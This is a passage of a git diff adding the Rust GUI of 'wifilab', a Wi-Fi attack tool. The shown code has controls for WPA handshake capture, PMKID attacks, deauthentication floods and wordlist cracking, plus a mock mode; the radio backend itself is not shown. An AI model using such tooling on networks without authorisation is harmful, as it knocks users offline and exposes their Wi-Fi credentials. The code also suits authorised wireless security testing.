capture, keyed by (AP, client). + pub hs_progress: BTreeMap<(MacAddr, MacAddr), u8>, + /// "Spinner shown" flags for attack buttons awaiting results. + pub attacking_handshake: bool, + pub attacking_pmkid: bool, + /// Crack run in flight; cleared when CrackStopped arrives. + pub crack_inflight: bool, + /// Toast queued by the event loop (no Window there) — shown on the + /// next render pass. + pub pending_toast: Option, + /// Used to invalidate stale cracker simulation ticks after Stop/re-Start. + pub crack_epoch: u64, + pub ap_sort: Option, + pub client_sort: Option, + pub focus_handle: FocusHandle, + pub iface_select: Entity>, + pub target_select: Entity>, + pub wordlist_input: Entity, + pub deauth_input: Entity, +} + +impl AppRoot { + pub fn new( + window: &mut Window, + cx: &mut Context, + tx: Sender, + rx: Receiver, + is_mock: bool, + ifaces: Vec, + selected_iface: String, + ) -> Self { + let view = cx.entity(); + + let iface_select = cx.new(|_cx| { + SelectState::new( + select( + "iface-select", + "Interface", + ifaces + .iter() + .map(|i| (i.clone(), i.clone())) + .collect::>(), + ) + .selected(selected_iface.clone()) + .on_change({ + let view = view.clone(); + move |ifname, _window, cx| { + view.update(cx, |app, cx| { + app.state.ifname = ifname.clone(); + app.state.push_log(format!("iface: selected {ifname}")); + cx.notify(); + }); + } + }), + ) + }); + + let wordlist_input = cx.new(InputState::new_singleline); + wordlist_input.update(cx, |input, cx| { + input.set_content("/usr/share/wordlists/rockyou.txt", cx); + }); + + let deauth_input = cx.new(InputState::new_singleline); + deauth_input.update(cx, |input, cx| { + input.set_content("16", cx); + }); + + let mut this = AppRoot { + state: AppState::new(&selected_iface), + rx, + tx, + page: Page::Networks, + is_root: crate::iface::is_root(), + backend: None, + is_mock, + selected: None, + selected_client: None, + hs_progress: BTreeMap::new(), + attacking_handshake: false, + attacking_pmkid: false, + crack_inflight: false, + pending_toast: None, + crack_epoch: 0, + ap_sort: None, + client_sort: None, + focus_handle: cx.focus_handle(), + iface_select, + target_select: cx.new(|_cx| { + let empty: Vec<(String, String)> = Vec::new(); + SelectState::new(select("cracker-target", "Crack target", empty)) + }), + wordlist_input, + deauth_input, + }; + this.rebuild_target_select(cx); + this.state.push_log(if is_mock { + "wifilab UI started (mock backend)".to_string() + } else { + format!( + "wifilab UI started (REAL backend, iface {selected_iface}) — Start capture to bring up monitor mode" + ) + }); + + cx.on_release(|this, _cx| { + // Window closed → root view released → stop every worker and + // restore the interface to managed mode. + if let Some(be) = this.backend.take() { + be.shutdown(); + } + }) + .detach(); + + if !this.is_root { + cx.toast("not root: monitor mode and injection will fail — run with sudo") + .show(window, cx); + } + + // Poll the backend event channel: wait on the background executor, + // then reduce everything queued into state on the main thread. The + // backend threads never touch gpui types. + cx.spawn(async move |this, cx| { + loop { + cx.background_executor().timer(EVENT_POLL).await; + match this.update(cx, |app, cx| app.drain_events(cx)) { + Ok(()) => {} + // Entity gone (window closed) — stop polling. + Err(_) => break, + } + } + }) + .detach(); + + window.focus(&this.focus_handle, cx); + this + } + + /// Header "Start/Stop capture" behaviour. + /// + /// Real mode: lazily create the [`Backend`] (monitor-mode switch + + /// scanner thread) on the channel-selected interface; Stop shuts it + /// down and restores managed mode. Mock mode: pure UI flips (the mock + /// generator runs independently). + pub fn toggle_monitor(&mut self, cx: &mut Context) { + if self.is_mock { + self.state.iface_running = !self.state.iface_running; + let on = self.state.iface_running; + self.state.push_log(format!( + "iface {}: monitor mode {} (mock)", + self.state.ifname, + if on { "on" } else { "off" } + )); + cx.notify(); + return; + } + if let Some(be) = self.backend.take() { + self.state.iface_running = false; + // The crack job (if any) has its own stop flag and keeps + // running; it never touches the radio. + self.state.push_log("ui: stopping capture, restoring managed mode…"); + cx.notify(); + be.shutdown(); + self.state.push_log("ui: capture stopped, interface restored"); + cx.notify(); + } else { + let ifname = self.state.ifname.clone(); + match Backend::start_scan(&ifname, self.tx.clone()) { + Ok(be) => { + self.backend = Some(be); + self.state.iface_running = true; + self.state + .push_log(format!("ui: capture started on {ifname}")); + } + Err(e) => { + self.state + .push_log(format!("ERROR: start capture on {ifname}: {e:#}")); + } + } + cx.notify(); + } + } + + /// Drain every queued event, track handshake progress, refresh widgets + /// derived from the capture set. + fn drain_events(&mut self, cx: &mut Context) { + let mut changed = false; + let mut captures_changed = false; + while let Ok(event) = self.rx.try_recv() { + changed = true; + match &event { + Event::HandshakeProgress { ap, client, have } => { + self.hs_progress.insert((*ap, *client), *have); + } + Event::HandshakeComplete(cap) => { + self.hs_progress.remove(&(cap.ap, cap.client)); + self.attacking_handshake = false; + } + Event::PmkidCaptured(_) => { + self.attacking_pmkid = false; + } + // Any worker error, or a terminal log from an attack + // worker (prefixed by backend.rs; scanner logs are + // excluded), un-spins attack buttons so the UI is never + // stuck "working…". + Event::Error(_) => { + self.attacking_handshake = false; + self.attacking_pmkid = false; + } + Event::Log(line) + if ["handshake:", "pmkid:"] + .iter() + .any(|p| line.starts_with(p)) => + { + self.attacking_handshake = false; + self.attacking_pmkid = false; + } + Event::CrackStopped { .. } => { + self.crack_inflight = false; + } + Event::CrackFound { password } => { + self.pending_toast = + Some(format!("password recovered: {password}").into()); + } + _ => {} + } + captures_changed |= self.state.apply(event); + } + if captures_changed { + self.rebuild_target_select(cx); + } + if changed { + cx.notify(); + } + } + + /// The cracker target dropdown mirrors `state.capture_descs()`; rebuild + /// it whenever a handshake/PMKID arrives, keeping the current choice if + /// it still exists. + pub fn rebuild_target_select(&mut self, cx: &mut Context) { + let descs = self.state.capture_descs(); + let keep = self + .state + .cracker + .target + .take() + .filter(|cur| descs.contains(cur)); + let view = cx.entity(); + let mut builder = select( + "cracker-target", + "Crack target", + descs.iter().map(|d| (d.clone(), d.clone())).collect::>(), + ) + .placeholder("Select a capture…") + .on_change(move |value, _window, cx| { + view.update(cx, |app, cx| { + app.state.cracker.target = Some(value); + cx.notify(); + }); + }); + if let Some(cur) = keep { + builder = builder.selected(cur.clone()); + self.state.cracker.target = Some(cur); + } + self.target_select = cx.new(|_cx| SelectState::new(builder)); + } + + fn nav_item( + &self, + page: Page, + view: &Entity, + cx: &App, + ) -> gpui::Stateful { + let theme = cx.theme().clone(); + let active = self.page == page; + let view = view.clone(); + div() + .id(ElementKey::Nav(page as u8).id()) + .px_3() + .py_2() + .rounded_md() + .cursor_pointer() + .when(active, |el| el.bg(theme.accent_bg())) + .when(!active, |el| { + let hover = theme.accent_bg().alpha(0.35); + el.hover(move |style| style.bg(hover)) + }) + .text_sm() + .child(page.label()) + .on_click(move |_, _window, cx| { + view.update(cx, |app, cx| { + app.page = page; + cx.notify(); + }); + }) + } + + fn header(&self, view: &Entity, cx: &App) -> gpui::Div { + let theme = cx.theme().clone(); + let running = self.state.iface_running; + + let privilege = if self.is_root { + badge("root").secondary() + } else { + badge("not root — attacks need sudo").destructive() + }; + + let toggle = button( + "monitor-toggle", + if running { + "Stop capture" + } else if self.is_mock { + "Start capture (mock)" + } else { + "Start capture (monitor)" + }, + ) + // Stopping capture (or starting a new one) while a crack streams + // would kill the crack job: radio access is exclusive. + .disabled(!self.is_mock && self.crack_inflight) + .on_click({ + let view = view.clone(); + move |_, _window, cx| { + view.update(cx, |app, cx| app.toggle_monitor(cx)); + } + }); + + h_stack() + .w_full() + .px_4() + .py_2() + .gap_3() + .items_center() + .border_b_1() + .border_color(theme.border()) + .bg(theme.surface()) + .child(div().text_lg().font_weight(FontWeight::BOLD).child("wifilab")) + .child(privilege) + .child(div().w(px(220.)).child(self.iface_select.clone())) + .child(toggle) + .child(div().flex_1()) + .child( + div() + .text_xs() + .text_color(theme.fg_muted()) + .child(SharedString::from(format!( + "channel hopper active · {}", + self.state.ifname + ))), + ) + } + + fn status_line(&self, cx: &App) -> gpui::Div { + let theme = cx.theme().clone(); + div() + .w_full() + .px_4() + .py_1() + .border_t_1() + .border_color(theme.border()) + .bg(theme.surface()) + .text_xs() + .text_color(theme.fg_muted()) + .child(format!( + "{} APs · {} clients · {} handshakes · {} PMKIDs · {} · capture {} · {}", + self.state.aps.len(), + self.state.clients.len(), + self.state.handshakes.len(), + self.state.pmkids.len(), + self.state.ifname, + if self.state.iface_running { + "running" + } else { + "stopped" + }, + if self.is_mock { "MOCK DATA" } else { "LIVE" } + )) + } +} + +/// Stable element ids that aren't string keys. +enum ElementKey { + Nav(u8), +} + +impl ElementKey { + fn id(self) -> SharedString { + match self { + ElementKey::Nav(n) => SharedString::from(format!("nav-{n}")), + } + } +} + +impl Render for AppRoot { + fn render(&mut self, _window: &mut Window, cx: &mut Context) -> impl IntoElement { + let theme = cx.theme().clone(); + let view = cx.entity(); + + // Flush toasts queued by the event-drain loop (which has no Window). + if let Some(msg) = self.pending_toast.take() { + cx.toast(msg).show(_window, cx); + } + + let nav = v_stack() + .w(px(170.)) + .h_full() + .gap_1() + .p_2() + .border_r_1() + .border_color(theme.border()) + .bg(theme.surface_secondary()) + .children( + Page::ALL + .into_iter() + .map(|page| self.nav_item(page, &view, cx)), + ); + + let content = match self.page { + Page::Networks => networks::render(self, &view, _window, cx), + Page::Attacks => attacks::render(self, &view, _window, cx), + Page::Cracker => cracker::render(self, &view, _window, cx), + Page::Log => log_view::render(self, &view, _window, cx), + }; + + div() + .flex() + .size_full() + .bg(theme.bg()) + .text_color(theme.fg()) + .child(nav) + .child( + v_stack() + .flex_1() + .h_full() + .min_w_0() + .child(self.header(&view, cx)) + .child(div().flex_1().min_h_0().child(content)) + .child(self.status_line(cx)), + ) + // Toast overlay lives at the root so it floats over any page. + .child(cx.toast_manager().clone()) + } +} diff --git a/src/ui/attacks.rs b/src/ui/attacks.rs new file mode 100644 index 0000000..bb6e3ec --- /dev/null +++ b/src/ui/attacks.rs @@ -0,0 +1,497 @@ +//! Attacks page: target banner, capture/PMKID/deauth triggers (mock-injected +//! into the event channel), capture cards, hc22000 export. + +use std::path::{Path, PathBuf}; +use std::time::{Duration, SystemTime, UNIX_EPOCH}; + +use gpui::{ + Context, Entity, IntoElement, ParentElement, Styled, Window, div, prelude::FluentBuilder, px, +}; +use gpuikit::elements::badge::badge; +use gpuikit::elements::button::button; +use gpuikit::elements::card::card; +use gpuikit::elements::loading_indicator::loading_indicator; +use gpuikit::elements::text_field::text_field; +use gpuikit::elements::typography::{h3, small, text}; +use gpuikit::layout::{h_stack, v_stack}; +use gpuikit::theme::{ActiveTheme, Themeable}; + +use crate::common::{Event, HandshakeCapture, MacAddr, PmkidCapture}; +use crate::ui::app::AppRoot; +use crate::ui::mock; + +fn unix_secs() -> u64 { + SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.as_secs()) + .unwrap_or(0) +} + +fn hex(bytes: &[u8]) -> String { + let mut out = String::with_capacity(bytes.len() * 2); + for b in bytes { + out.push_str(&format!("{b:02x}")); + } + out +} + +/// Export all captures: platform save dialog if it opens, otherwise a fixed +/// fallback path under ./captures. Uses the crate's hc22000 formatting +/// (single source of truth in [`crate::handshake`]). +fn export_hc22000(view: &Entity, _window: &mut Window, cx: &mut gpui::App) { + let (lines, lossless_note) = { + let app = view.read(cx); + let mut lines: Vec = app + .state + .handshakes + .iter() + .map(crate::handshake::handshake_hc22000) + .chain(app.state.pmkids.iter().map(crate::handshake::pmkid_hc22000)) + .collect(); + lines.sort_unstable(); + lines.dedup(); + (lines, app.state.handshakes.len() + app.state.pmkids.len()) + }; + if lines.is_empty() { + view.update(cx, |app, cx| { + app.state.push_log("export: no captures yet"); + cx.notify(); + }); + return; + } + + let suggested = format!("wifilab-{}.hc22000", unix_secs()); + let prompt = cx.prompt_for_new_path(Path::new("./captures"), Some(&suggested)); + let body = lines.join("\n") + "\n"; + let weak = view.downgrade(); + cx.spawn(async move |cx| { + // Dialog refused/cancelled → fixed fallback; explicit cancel aborts. + let path: Option = match prompt.await { + Ok(Ok(Some(p))) => Some(p), + Ok(Ok(None)) => None, + _ => Some(PathBuf::from("./captures").join(&suggested)), + }; + let _ = weak.update(cx, |app, cx| { + match path { + None => app.state.push_log("export: cancelled"), + Some(path) => { + if let Some(parent) = path.parent() { + let _ = std::fs::create_dir_all(parent); + } + match std::fs::write(&path, &body) { + Ok(()) => app + .state + .push_log(format!("export: {} captures → {}", lossless_note, path.display())), + Err(e) => app + .state + .push_log(format!("export FAILED: {e} ({})", path.display())), + } + } + } + cx.notify(); + }); + }) + .detach(); +} + +/// Selected target with its current AP row (channel + essid). +fn target_info(app: &AppRoot) -> Option<(MacAddr, u8, String)> { + let ap = app.selected?; + let row = app.state.aps.get(&ap)?; + Some((ap, row.channel, row.ssid.clone())) +} + +/// Capture Handshake. +/// Mock mode: drive a fresh fabricated 4-way through the event pipeline. +/// Real mode: spawn the backend capture worker (channel probed first via +/// a zero-count deauth pulse); progress/completion arrive as real events. +fn capture_handshake(view: &Entity, _window: &mut Window, cx: &mut gpui::App) { + view.update(cx, |app, cx| { + let Some(ap) = app.selected else { + app.state.push_log("handshake: no target selected"); + cx.notify(); + return; + }; + if app.attacking_handshake { + return; + } + if !app.is_mock && app.backend.is_none() { + app.state + .push_log("handshake: start capture first (the backend owns the radio)"); + cx.notify(); + return; + } + app.attacking_handshake = true; + cx.notify(); + + if !app.is_mock { + let Some((ap, channel, essid)) = target_info(app) else { + app.state + .push_log("handshake: target AP not in scan table yet"); + app.attacking_handshake = false; + cx.notify(); + return; + }; + app.state.push_log(format!( + "handshake capture on {essid} ({ap}, ch {channel})…" + )); + if let Some(be) = &app.backend { + be.capture_hs(ap, channel, essid, app.tx.clone()); + } + cx.notify(); + return; + } + + // ---- mock path ---- + let essid = app + .state + .aps + .get(&ap) + .map(|a| a.ssid.clone()) + .unwrap_or_else(|| ap.to_string()); + // Prefer a client actually associated with the target. + let client = app + .state + .clients + .values() + .find(|c| c.ap == Some(ap)) + .map(|c| c.mac) + .unwrap_or(mock::MOCK_CLIENTS[0]); + app.state + .push_log(format!("handshake capture on {essid} ({ap}), targeting {client}…")); + cx.notify(); + + let tx = app.tx.clone(); + let essid_ev = essid.clone(); + let salt = unix_secs(); + cx.spawn(async move |this, cx| { + let _ = tx.send(Event::HandshakeProgress { + ap, + client, + have: 0b0001, + }); + cx.background_executor() + .timer(Duration::from_millis(900)) + .await; + let _ = tx.send(Event::HandshakeProgress { + ap, + client, + have: 0b0011, + }); + cx.background_executor() + .timer(Duration::from_millis(900)) + .await; + let cap = mock::fabricate_handshake(ap, client, &essid_ev, salt); + let _ = tx.send(Event::HandshakeComplete(Box::new(cap))); + let _ = this.update(cx, |app, cx| { + app.attacking_handshake = false; + cx.notify(); + }); + }) + .detach(); + }); +} + +/// PMKID attack: client-less, one exchange, captured PMKID arrives shortly. +fn pmkid_attack(view: &Entity, _window: &mut Window, cx: &mut gpui::App) { + view.update(cx, |app, cx| { + let Some(ap) = app.selected else { + app.state.push_log("pmkid: no target selected"); + cx.notify(); + return; + }; + if app.attacking_pmkid { + return; + } + if !app.is_mock && app.backend.is_none() { + app.state + .push_log("pmkid: start capture first (the backend owns the radio)"); + cx.notify(); + return; + } + app.attacking_pmkid = true; + cx.notify(); + + if !app.is_mock { + let Some((ap, channel, essid)) = target_info(app) else { + app.state + .push_log("pmkid: target AP not in scan table yet"); + app.attacking_pmkid = false; + cx.notify(); + return; + }; + app.state + .push_log(format!("pmkid attack on {essid} ({ap}, ch {channel})…")); + if let Some(be) = &app.backend { + be.pmkid(ap, channel, essid, app.tx.clone()); + } + cx.notify(); + return; + } + + // ---- mock path ---- + let essid = app + .state + .aps + .get(&ap) + .map(|a| a.ssid.clone()) + .unwrap_or_else(|| ap.to_string()); + app.state + .push_log(format!("pmkid attack on {essid} ({ap})…")); + cx.notify(); + + let tx = app.tx.clone(); + let salt = unix_secs() ^ 0x77; + cx.spawn(async move |this, cx| { + cx.background_executor() + .timer(Duration::from_millis(1200)) + .await; + let cap = mock::fabricate_pmkid(ap, mock::MOCK_CLIENTS[3], &essid, salt); + let _ = tx.send(Event::PmkidCaptured(cap)); + let _ = this.update(cx, |app, cx| { + app.attacking_pmkid = false; + cx.notify(); + }); + }) + .detach(); + }); +} + +/// Deauth: broadcast by default, or target the selected client's station. +/// Real mode blasts from the backend's own socket; mock mode fabricates +/// the same DeauthSent event the real worker emits. +fn deauth(view: &Entity, _window: &mut Window, cx: &mut gpui::App) { + view.update(cx, |app, cx| { + let Some(ap) = app.selected else { + app.state.push_log("deauth: no target selected"); + cx.notify(); + return; + }; + let count64: u64 = app + .deauth_input + .read(cx) + .content() + .trim() + .parse() + .unwrap_or(16); + + if !app.is_mock { + let Some(be) = &app.backend else { + app.state + .push_log("deauth: start capture first (the backend owns the radio)"); + cx.notify(); + return; + }; + let Some((ap, channel, _essid)) = target_info(app) else { + app.state + .push_log("deauth: target AP not in scan table yet"); + cx.notify(); + return; + }; + // A selected client row wins; otherwise deauth the whole net + // broadcast-style. (Guard: the pair must still be consistent + // with the live client table.) + let target = app + .selected_client + .filter(|mac| { + app.state + .clients + .get(mac) + .is_some_and(|c| c.ap == Some(ap)) + }) + .unwrap_or(MacAddr::BROADCAST); + let count = count64.min(u32::MAX as u64) as u32; + app.state.push_log(format!( + "deauth: {count} rounds → {target} (AP {ap}, ch {channel})" + )); + be.deauth(ap, target, channel, count, app.tx.clone()); + cx.notify(); + return; + } + + let _ = app.tx.send(Event::DeauthSent { + ap, + target: MacAddr::BROADCAST, + count: count64, + }); + cx.notify(); + }); +} + +fn kv(label: &str, value: impl Into) -> gpui::Div { + h_stack() + .gap_2() + .child(div().w(px(90.)).text_xs().child(label.to_string())) + .child(text(value.into()).code().small().into_any_element()) +} + +fn handshake_card(hs: &HandshakeCapture, crackable: bool) -> gpuikit::elements::card::Card { + card() + .title(format!("{} — handshake", hs.essid)) + .description(format!("{} ⇄ {}", hs.ap, hs.client)) + .body( + v_stack() + .gap_1() + .child(kv("key version", format!("{}", hs.key_ver))) + .child(kv("anonce", hex(&hs.anonce[..8]))) + .child( + h_stack().gap_2().child(if crackable { + badge("crackable").secondary() + } else { + badge("partial") + }), + ) + .into_any_element(), + ) +} + +fn pmkid_card(pm: &PmkidCapture) -> gpuikit::elements::card::Card { + card() + .title(format!("{} — PMKID", pm.essid)) + .description(format!("AP {}", pm.ap)) + .body( + v_stack() + .gap_1() + .child(kv("pmkid", hex(&pm.pmkid))) + .child(kv("via (our mac)", pm.client.to_string())) + .child(h_stack().gap_2().child(badge("crackable").secondary())) + .into_any_element(), + ) +} + +pub fn render( + app: &mut AppRoot, + view: &Entity, + _window: &mut Window, + cx: &mut Context, +) -> gpui::Div { + let theme = cx.theme().clone(); + + let target_block = match app.selected.and_then(|b| { + app.state + .aps + .get(&b) + .map(|ap| (ap.ssid.clone(), b, ap.channel)) + }) { + Some((ssid, bssid, ch)) => h_stack() + .gap_3() + .items_center() + .child(h3(format!("target: {ssid}"))) + .child(text(format!("{bssid} · ch {ch}")).code().small().into_any_element()) + .into_any_element(), + None => h_stack() + .gap_3() + .items_center() + .child(h3("target: none selected")) + .child(small("pick an AP on the Networks page")) + .into_any_element(), + }; + + let no_target = app.selected.is_none(); + // Real mode without a running capture has no radio: block the buttons + // (a matching hint sits next to them). + let no_backend = !app.is_mock && app.backend.is_none(); + let blocked = no_target || no_backend; + let hs_running = app.attacking_handshake; + let pm_running = app.attacking_pmkid; + + let actions = h_stack() + .gap_3() + .items_center() + .child( + button("btn-handshake", "Capture Handshake") + .disabled(blocked || hs_running) + .on_click({ + let view = view.clone(); + move |_, window, cx| capture_handshake(&view, window, cx) + }), + ) + .child( + button("btn-pmkid", "PMKID Attack") + .disabled(blocked || pm_running) + .on_click({ + let view = view.clone(); + move |_, window, cx| pmkid_attack(&view, window, cx) + }), + ) + .child( + button("btn-deauth", "Deauth") + .destructive() + .disabled(blocked) + .on_click({ + let view = view.clone(); + move |_, window, cx| deauth(&view, window, cx) + }), + ) + .child( + div() + .w(px(90.)) + .child(text_field(&app.deauth_input, cx).placeholder("count")), + ) + .when(hs_running || pm_running, |el| { + el.child(loading_indicator().small()).child(small("working…")) + }) + .when(no_backend, |el| { + el.child(small("start capture first to enable attacks")) + }); + + // In-flight 4-way attempts shown with their message bitmask. + let progress_cards: Vec = app + .hs_progress + .iter() + .map(|((ap, client), have)| { + card() + .title(format!("collecting 4-way… {}/4", have.count_ones())) + .description(format!("{ap} ⇄ {client}")) + .body( + h_stack() + .gap_2() + .child(loading_indicator().small()) + .into_any_element(), + ) + .into_any_element() + }) + .collect(); + + let mut page = v_stack() + .size_full() + .gap_3() + .p_4() + .child(target_block) + .child(actions) + .children(progress_cards) + .child(gpuikit::elements::separator::separator()) + .child( + h_stack() + .items_center() + .gap_3() + .child(h3("Captures")) + .child(small(format!( + "{} handshakes · {} PMKIDs", + app.state.handshakes.len(), + app.state.pmkids.len() + ))) + .child(div().flex_1()) + .child( + button("btn-export", "Export .hc22000").on_click({ + let view = view.clone(); + move |_, window, cx| export_hc22000(&view, window, cx) + }), + ), + ); + + let cards: Vec = app + .state + .handshakes + .iter() + .map(|hs| handshake_card(hs, true).into_any_element()) + .chain(app.state.pmkids.iter().map(|pm| pmkid_card(pm).into_any_element())) + .collect(); + if cards.is_empty() { + page = page.child(small("nothing captured yet — run an attack")); + } else { + page = page.child(v_stack().gap_2().children(cards)); + } + + page.text_color(theme.fg()) +} diff --git a/src/ui/cracker.rs b/src/ui/cracker.rs new file mode 100644 index 0000000..b7a5006 --- /dev/null +++ b/src/ui/cracker.rs @@ -0,0 +1,317 @@ +//! Cracker page: target dropdown (fed by captures), wordlist field, backend +//! label, Start/Stop, live throughput/progress, found-password banner. +//! +//! Until the real wgpu cracker lands, Start runs a deterministic simulation +//! on a gpui background task so every control here is live. + +use std::time::Duration; + +use gpui::{ + Context, Entity, IntoElement, ParentElement, Styled, Window, div, prelude::FluentBuilder, px, +}; +use gpuikit::elements::button::button; +use gpuikit::elements::loading_indicator::loading_indicator; +use gpuikit::elements::progress::progress; +use gpuikit::elements::text_field::text_field; +use gpuikit::elements::typography::{h3, small, text}; +use gpuikit::layout::{h_stack, v_stack}; +use gpuikit::theme::{ActiveTheme, Themeable}; + +use crate::common::Event; +use crate::ui::app::AppRoot; + +/// Mock run length: this many "candidates" before the password turns up. +const WORDLIST_TOTAL: u64 = 1_000_000; +/// Mock GPU throughput (guesses/second). +const MOCK_HPS: f64 = 1_250_000.0; +const MOCK_PASSWORD: &str = "parafin2024!"; +/// Label for the backend column: real runs detect GPU-vs-CPU inside the +/// worker and log it ("cracker: GPU backend: … / CPU fallback"). +const fn backend_label(is_mock: bool) -> &'static str { + if is_mock { + "GPU (wgpu) · mock" + } else { + "auto: GPU (wgpu) → CPU" + } +} + +fn fmt_hps(hps: f64) -> String { + if hps >= 1.0e6 { + format!("{:.2} MH/s", hps / 1.0e6) + } else if hps >= 1.0e3 { + format!("{:.1} kH/s", hps / 1.0e3) + } else { + format!("{hps:.0} H/s") + } +} + +/// Start a crack run on the selected capture. +/// +/// Real mode: hands the stored [`crate::crypto::CrackTarget`] (no hc22000 +/// re-parse) to the backend worker; progress and termination arrive as +/// CrackProgress/CrackFound/CrackStopped events and land in state via +/// `AppState::apply`. Requires capture stopped (radio exclusive). +/// Mock mode: a deterministic generator drives the SAME event sequence. +fn start(view: &Entity, _window: &mut Window, cx: &mut gpui::App) { + view.update(cx, |app, cx| { + if app.crack_inflight || app.state.cracker.running { + return; + } + let Some(desc) = app.state.cracker.target.clone() else { + app.state.push_log("cracker: no target selected"); + cx.notify(); + return; + }; + let wordlist = app.wordlist_input.read(cx).content().trim().to_string(); + if wordlist.is_empty() { + app.state.push_log("cracker: wordlist path is empty"); + cx.notify(); + return; + } + + // Validate everything that can fail BEFORE marking the run active, + // so a refused start never leaves stale flags behind. + let real_target = if !app.is_mock { + if app.state.iface_running { + app.state + .push_log("cracker: needs the radio free — stop capture first"); + cx.notify(); + return; + } + let Some(idx) = app.state.capture_descs().iter().position(|d| *d == desc) else { + app.state.push_log("ERROR: cracker: capture no longer exists"); + cx.notify(); + return; + }; + match app.state.crack_target_at(idx) { + Some(t) => Some(t), + None => { + app.state.push_log("ERROR: cracker: capture no longer exists"); + cx.notify(); + return; + } + } + } else { + None + }; + + app.crack_epoch += 1; // invalidate any stale mock generator ticks + let cr = &mut app.state.cracker; + cr.wordlist = Some(wordlist.clone()); + cr.found = None; + cr.tried = 0; + cr.hps = 0.0; + cr.running = true; + app.crack_inflight = true; + cx.notify(); + + if !app.is_mock { + let Some(target) = real_target else { return }; + app.state.push_log(format!( + "cracker: starting on {desc} via {wordlist} [auto backend]" + )); + cx.notify(); + match &app.backend { + Some(be) => be.crack( + target.describe(), + target, + std::path::PathBuf::from(&wordlist), + app.tx.clone(), + ), + None => { + app.state.cracker.running = false; + app.crack_inflight = false; + app.state + .push_log("ERROR: cracker: no backend (start capture first, then stop it)"); + cx.notify(); + } + } + return; + } + + // ---- mock path: same events, fabricated numbers ---- + app.state.push_log(format!( + "cracker: {desc} via {wordlist} [mock run]" + )); + cx.notify(); + let tx = app.tx.clone(); + let epoch = app.crack_epoch; + cx.spawn(async move |this, cx| { + let mut done = 0u64; + loop { + cx.background_executor() + .timer(Duration::from_millis(100)) + .await; + let live = this + .update(cx, |app, _cx| { + app.crack_epoch == epoch && app.state.cracker.running + }) + .unwrap_or(false); + if !live { + break; + } + done += (MOCK_HPS / 10.0) as u64 + done / 977 % 8_000; + let hps = MOCK_HPS * (0.92 + (done / 331 % 15) as f64 / 100.0); + let _ = tx.send(Event::CrackProgress { done, hps }); + if done >= WORDLIST_TOTAL { + let _ = tx.send(Event::CrackFound { + password: MOCK_PASSWORD.to_string(), + }); + let _ = tx.send(Event::CrackStopped { found: true }); + break; + } + } + }) + .detach(); + }); +} + +/// Stop the active run. +/// +/// Real mode flips the crack job's stop flag (the wordlist streamer breaks +/// at the next batch and emits CrackStopped{found:false}, which settles +/// the UI). Mock mode just invalidates the generator epoch — no terminator +/// event will arrive, so the running flags are cleared here. +fn stop(view: &Entity, _window: &mut Window, cx: &mut gpui::App) { + view.update(cx, |app, cx| { + let active = app.crack_inflight || app.state.cracker.running; + if !active { + return; + } + app.crack_epoch += 1; + if app.is_mock { + app.state.cracker.running = false; + app.crack_inflight = false; + app.state.cracker.hps = 0.0; + app.state.push_log("cracker: stopped by user"); + cx.notify(); + return; + } + if let Some(be) = &app.backend { + be.request_crack_stop(); + app.state.push_log("cracker: stop requested"); + } else { + app.state.cracker.running = false; + app.crack_inflight = false; + app.state.push_log("cracker: stopped"); + } + cx.notify(); + }); +} + +pub fn render( + app: &mut AppRoot, + view: &Entity, + _window: &mut Window, + cx: &mut Context, +) -> gpui::Div { + let theme = cx.theme().clone(); + let cracker = &app.state.cracker; + let running = cracker.running || app.crack_inflight; + // Real runs stream an unknown-size wordlist: progress fraction is only + // meaningful in the bounded mock run. + let frac = if app.is_mock { + (cracker.tried as f64 / WORDLIST_TOTAL as f64).clamp(0.0, 1.0) + } else { + 0.0 + }; + // Real mode: cracker needs the radio — capture must be stopped and a + // backend must exist. + let crack_blocked = + !app.is_mock && (app.state.iface_running || app.backend.is_none()); + let candidates = if app.is_mock { + format!("candidates: {} / {WORDLIST_TOTAL}", cracker.tried) + } else { + format!("candidates: {}", cracker.tried) + }; + + let mut page = v_stack() + .size_full() + .gap_3() + .p_4() + .child( + h_stack() + .items_center() + .gap_3() + .child(h3("Handshake Cracker")) + .child(small("PBKDF2-SHA1 · WPA/WPA2")), + ) + .child( + h_stack() + .gap_3() + .items_end() + .child(div().w(px(360.)).child(app.target_select.clone())) + .child( + div() + .w(px(360.)) + .child( + text_field(&app.wordlist_input, cx) + .placeholder("/path/to/wordlist") + .full_width(true), + ), + ) + .child(text(backend_label(app.is_mock)).small().muted()), + ) + .child( + h_stack() + .gap_3() + .items_center() + .child( + button("btn-crack-start", "Start") + .disabled(running || crack_blocked) + .on_click({ + let view = view.clone(); + move |_, window, cx| start(&view, window, cx) + }), + ) + .child( + button("btn-crack-stop", "Stop") + .destructive() + .disabled(!running) + .on_click({ + let view = view.clone(); + move |_, window, cx| stop(&view, window, cx) + }), + ) + .when(running, |el| el.child(loading_indicator().small())) + .when(crack_blocked, |el| { + el.child(small(if app.state.iface_running { + "stop capture first — cracker needs the radio" + } else { + "start then stop capture to enable the cracker" + })) + }), + ) + .child(gpuikit::elements::separator::separator()) + .child( + h_stack() + .gap_4() + .child(small(format!("rate: {}", fmt_hps(if running { cracker.hps } else { 0.0 })))) + .child(small(candidates)) + .child( + small(if app.is_mock { + format!("{:.1}%", frac * 100.0) + } else { + String::new() + }), + ), + ) + .child(progress(frac as f32).width(px(520.))); + + if let Some(found) = &cracker.found { + page = page.child( + h_stack() + .gap_3() + .items_center() + .w(px(520.)) + .p_3() + .rounded_md() + .bg(theme.warning()) + .text_color(theme.bg()) + .child(text(format!("PASSWORD FOUND: {found}")).bold()) + .into_any_element(), + ); + } + + page +} diff --git a/src/ui/log.rs b/src/ui/log.rs new file mode 100644 index 0000000..79f045f --- /dev/null +++ b/src/ui/log.rs @@ -0,0 +1,52 @@ +//! Log page: scrolling monospace view of the backend event log, newest +//! entries first. + +use gpui::{Context, Entity, ParentElement, Styled, Window}; +use gpuikit::elements::scroll_area::scroll_area; +use gpuikit::elements::typography::{h3, small, text}; +use gpuikit::layout::{h_stack, v_stack}; +use gpuikit::theme::{ActiveTheme, Themeable}; + +use crate::ui::app::AppRoot; + +pub fn render( + app: &mut AppRoot, + _view: &Entity, + _window: &mut Window, + cx: &mut Context, +) -> gpui::Div { + let theme = cx.theme().clone(); + + let mut lines_view = v_stack().gap_0p5(); + if app.state.log.is_empty() { + lines_view = lines_view.child(small("log is empty")); + } else { + for line in app.state.log.iter().rev() { + lines_view = lines_view.child(text(line.clone()).code().small()); + } + } + + v_stack() + .size_full() + .gap_2() + .p_4() + .child( + h_stack() + .items_center() + .gap_3() + .child(h3("Log")) + 